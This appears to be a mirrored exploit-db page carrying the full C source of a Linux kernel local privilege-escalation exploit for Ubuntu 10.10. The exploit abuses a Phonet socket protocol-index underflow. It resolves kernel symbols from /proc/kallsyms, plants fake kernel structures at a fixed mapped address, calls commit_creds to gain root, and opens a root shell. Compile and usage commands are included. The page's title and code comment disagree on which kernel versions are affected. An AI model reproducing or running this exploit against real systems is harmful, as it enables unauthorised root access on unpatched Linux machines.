Linux Kernel < 2.6.34 (Ubuntu 10.10 x86/x64) - 'CAP_SYS_ADMIN' Local Privilege Escalation (2)

  • 作者: Joe Sylve
    日期: 2011-01-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15944/
  • /*
     * Linux Kernel CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit)
     * by Joe Sylve
     * @jtsylve on twitter
     *
     * Released: Jan 7, 2011
     *
     * Based on the bug found by Dan Rosenberg (@djrbliss)
     * only loosly based on his exploit http://www.exploit-db.com/exploits/15916/
     * 
     * Usage:
     * gcc -w caps-to-root2.c -o caps-to-root2
     * sudo setcap cap_sys_admin+ep caps-to-root2
     * ./caps-to-root2
     *
     * Kernel Version >= 2.6.34 (untested on earlier versions)
     *
     * Tested on Ubuntu 10.10 64-bit and Ubuntu 10.10 32-bit
     *
     * This exploit takes advantage of the same underflow as the original,
     * but takes a different approach.Instead of underflowing into userspace
     * (which doesn't work on 64-bit systems and is a lot of work), I underflow 
     * to some static values inside of the kernel which are referenced as pointers
     * to userspace.This method is pretty simple and seems to be reliable.
     */
    
    #include <stdio.h>
    #include <sys/socket.h>
    #include <errno.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <unistd.h>
    
    // Skeleton Structures of the Kernel Structures we're going to spoof
    struct proto_ops_skel {
    	int	family;
    	void*buffer1[8];
    	int	(*ioctl)(void *, int, long);
    	void*buffer2[12];
    };
    
    struct phonet_protocol_skel {
    	void	*ops;
    	void	*prot;
    	int	sock_type;	
    };
    
    
    #ifdef __x86_64__ 
    
    #define SYM_NAME "local_port_range"
    #define SYM_ADDRESS 0x0000007f00000040
    #define SYM_OFFSET 0x0
    
    typedef int (* _commit_creds)(unsigned long cred);
    typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
    
    #else //32-bit
    
    #define SYM_NAME "pn_proto"
    #define SYM_ADDRESS 0x4e4f4850
    #define SYM_OFFSET 0x90
    
    typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
    typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
    
    #endif
    
    
    _commit_creds commit_creds;
    _prepare_kernel_cred prepare_kernel_cred;
    
    int getroot(void * v, int i, long l)
    {
    	commit_creds(prepare_kernel_cred(0));
    	return 0;
    }
    
    /* thanks spender... */
    unsigned long get_kernel_sym(char *name)
    {
    	FILE *f;
    	unsigned long addr;
    	char dummy;
    	char sname[512];
    	int ret;
    
    	char command[512];
    
    	sprintf(command, "grep \"%s\" /proc/kallsyms", name);
    
    	f = popen(command, "r");
    
    	while(ret != EOF) {
    		ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
    
    		if (ret == 0) {
    			fscanf(f, "%s\n", sname);
    			continue;
    		}
    
    		if (!strcmp(name, sname)) {
    
    			fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
    			pclose(f);
    			return addr;
    		}
    	}
    
    	pclose(f);
    	return 0;
    }
    
    int main(int argc, char * argv[])
    {
    
    	int sock, proto;
    	unsigned long proto_tab, low_kern_sym, pn_proto;
    	void * map;
    
    	/* Create a socket to load the module for symbol support */
    	printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
    	sock = socket(PF_PHONET, SOCK_DGRAM, 0);
    
    	if(sock < 0) {
    		if(errno == EPERM)
    			printf("[*] You don't have CAP_SYS_ADMIN.\n");
    
    		else
    			printf("[*] Failed to open Phonet socket.\n");
    
    		return -1;
    	}
    
    	close(sock);
    
    	/* Resolve kernel symbols */
    	printf("[*] Resolving kernel symbols...\n");
    
    	proto_tab = get_kernel_sym("proto_tab");
    	low_kern_sym = get_kernel_sym(SYM_NAME) + SYM_OFFSET;
    	pn_proto =get_kernel_sym("pn_proto");
    	commit_creds = (void *) get_kernel_sym("commit_creds");
    	prepare_kernel_cred = (void *) get_kernel_sym("prepare_kernel_cred");
    
    	if(!proto_tab || !commit_creds || !prepare_kernel_cred) {
    		printf("[*] Failed to resolve kernel symbols.\n");
    		return -1;
    	}
    
    	if (low_kern_sym >= proto_tab) {
    		printf("[*] %s is mapped higher than prototab.Can not underflow :-(.\n", SYM_NAME);
    		return -1;
    	}
    
    
    	/* Map it */
    	printf("[*] Preparing fake structures...\n");
    
    	const struct proto_ops_skel fake_proto_ops2 = {
    			.family		= AF_PHONET,	
    			.ioctl		= &getroot,
    	};		
    
    	struct phonet_protocol_skel pps = {
    			.ops = (void *) &fake_proto_ops2,
    			.prot = (void *) pn_proto,
    			.sock_type = SOCK_DGRAM,
    	};
    
    	printf("[*] Copying Structures.\n");
    
    	map = mmap((void *) SYM_ADDRESS, 0x1000,
    			PROT_READ | PROT_WRITE | PROT_EXEC,
    			MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
    	if(map == MAP_FAILED) {
    		printf("[*] Failed to map landing area.\n");
    		perror("mmap");
    		return -1;
    	}
    
    	
    	memcpy((void *) SYM_ADDRESS, &pps, sizeof(pps));
    
    	// Calculate Underflow
    	proto = -((proto_tab - low_kern_sym) / sizeof(void *));
    
    	printf("[*] Underflowing with offset %d\n", proto);
    
    	sock = socket(PF_PHONET, SOCK_DGRAM, proto);
    
    	if(sock < 0) {
    		printf("[*] Underflow failed :-(.\n");
    		return -1;
    	} 
    
    	printf("[*] Elevating privlidges...\n");
    	ioctl(sock, 0, NULL);
    
    
    	if(getuid()) {
    		printf("[*] Exploit failed to get root.\n");
    		return -1;
    	}
    
    	printf("[*] This was a triumph... I'm making a note here, huge success.\n");
    	execl("/bin/sh", "/bin/sh", NULL);
    
    	close(sock);
    	munmap(map, 0x1000);
    
    	return 0;
    }